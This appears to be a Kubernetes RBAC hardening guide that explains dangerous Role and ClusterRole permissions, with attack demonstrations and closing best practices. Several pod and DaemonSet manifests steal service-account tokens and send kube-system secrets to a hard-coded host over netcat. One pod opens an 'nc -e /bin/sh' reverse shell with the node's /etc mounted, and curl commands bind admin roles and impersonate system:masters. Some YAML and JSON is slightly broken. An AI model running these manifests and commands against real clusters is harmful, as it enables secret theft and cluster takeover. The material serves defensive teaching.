Hardening Roles/ClusterRoles

Here you can find some potentially dangerous Roles and ClusterRoles configurations.

Access Any Resource or Verb

This privilege provides access to any resource with any verb. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If it’s a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Access Any Resource

Giving a user permission to access any resource can be very risky. But, which verbs allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster:

resources: ["*"] verbs: ["create"] – This privilege can create any resource in the cluster, such as pods, roles, etc. An attacker might abuse it to escalate privileges. An example of this can be found in the “Pods Creation” section.
resources: ["*"] verbs: ["list"] – The ability to list any resource can be used to leak other users’ secrets and might make it easier to escalate privileges. An example of this is located in the “Listing secrets” section.
resources: ["*"] verbs: ["get"]- This privilege can be used to get secrets from other service accounts.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["create", "list", "get"]

Listing Secrets

The listing secrets privilege is a strong capability to have in the cluster. A user with the permission to list secrets can potentially view all the secrets in the cluster – including the admin keys. The secret key is a JWT token encoded in base64.

An attacker that gains access to list secrets **in the cluster can use the following curl commands to get all secrets in “kube-system” namespace:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Pod Creation

An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges.

Here we have a default privileged account named bootstrap-signer with permissions to list all secrets.

The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:

piVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

In the previous image note how the bootstrap-signer service is used in serviceAccountname.

So just create the malicious pod and expect the secrets in port 6666:

Pod Creationv2

Having Pod create permissions over kube-system you can also be able to mount directories from the node hosting the pods with a pod template like the following one:

steal_etc.yaml

apiVersion: v1
kind: Pod
metadata:
  name: stealetc-pod
spec:
  containers:
  - name: givemeyouretc
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "nc 10.10.10.10 4444 -e /bin/sh"]
    volumeMounts:
    - mountPath: /mnt
      name: volume
  volumes:
  - name: volume
    hostPath:
      path: /etc

Create the pod with:

kubectl --token $token create -f abuse2.yaml

And capturing the reverse shell you can find the /etc directory of the node mounted in /mnt inside the pod.

Create/Update Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to develop pods and even create pods. So it's possible to abuse them to escalate privileges just like in the previous example.

Suppose we have the permission to create a Daemonset and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section.

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

In line 6 you can find the object “spec” and children objects such as “template” in line 10. These objects hold the configuration for the task we wish to accomplish. Another thing to notice is the "serviceAccountName" in line 15 and the “containers” object in line 18. This is the part that relates to creating our malicious container.

Kubernetes API documentation indicates that the “PodTemplateSpec” endpoint has the option to create containers. And, as you can see: deployment, daemonsets, statefulsets, replicationcontrollers, replicasets, jobs and cronjobs can all be used to create pods:

So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.

Pods Exec

Pod exec is an option in kubernetes used for running commands in a shell inside a pod. This privilege is meant for administrators who want to access containers and run commands. It’s just like creating a SSH session for the container.

If we have this privilege, we actually get the ability to take control of all the pods. In order to do that, we needs to use the following command:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note that as you can get inside any pod, you can abuse other pods token just like in Pod Creation exploitation to try to escalate privileges.

Get/Patch Rolebindings

The privilege to create Rolebindings allows a user to bind roles to a service account. This privilege can potentially lead to privilege escalation because it allows the user to bind admin privileges to a compromised service account.

The following ClusterRole is using the special verb bind that allows a user to create a RoleBinding with admin ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.

Then it's possible to create malicious-RoleBinging.json, which binds the admin role to other compromised service account:

{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespaces": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "compromised-svc"
            "namespace": "default"
        }
    ]
}

The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).

Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \ 
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
 -d @malicious-RoleBinging.json

After the admin role is bound to the “compromised-svc” service account, we can use the compromised service account token to list secrets. The following CURL command will do this:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret

Impersonating privileged accounts

With a user impersonation **privilege, an attacker could impersonate a privileged account.

In this example, the service account sa-imper has a binding to a ClusterRole with rules that allow it to impersonate groups and users.

It's possible to list all secrets with --ass=null --as-group=system:master attributes:

It's also possible to perform the same action via the API REST endpoint:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Reading a secret – brute-forcing token IDs

An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the listing secrets permission described above.

Although the attacker doesn’t know the secret’s name, there are default service accounts that can be enlisted.

Each service account has an associated secret with a static (non-changing) prefix and a postfix of a random five-character string token at the end.

The random token structure is 5-character string built from alphanumeric (lower letters and digits) characters. But it doesn’t contain all the letters and digits.

When looking inside the source code, it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 (a-z and 0-9)

This means that there are 275 = 14,348,907 possibilities for a token.

An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.

Built-in Privileged Escalation Prevention

Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.

Kubernetes has a built-in mechanism for that:

“The RBAC API prevents users from escalating privileges by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.

A user can only create/update a role if they already have all the permissions contained in the role, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)”

Let’s see an example for such prevention.

A service account named sa7 is in a RoleBinding edit-role-rolebinding. This RoleBinding object has a role named edit-role that has full permissions rules on roles. Theoretically, it means that the service account can edit any role in the default namespace.

There is also an existing role named list-pods. Anyone with this role can list all the pods on the default namespace. The user sa7 should have permissions to edit any roles, so let’s see what happens when it tries to add the “secrets” resource to the role’s resources.

After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” (Figure 31), because although our sa7 user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.

Best Practices

Prevent service account token automounting on pods

When a pod is being created, it automatically mounts a service account (the default is default service account in the same namespace). Not every pod needs the ability to utilize the API from within itself.

From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.

On a service account it should be added like this:

It is also possible to use it on the pod:

Grant specific users to RoleBindings\ClusterRoleBindings

When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.

Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings

When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.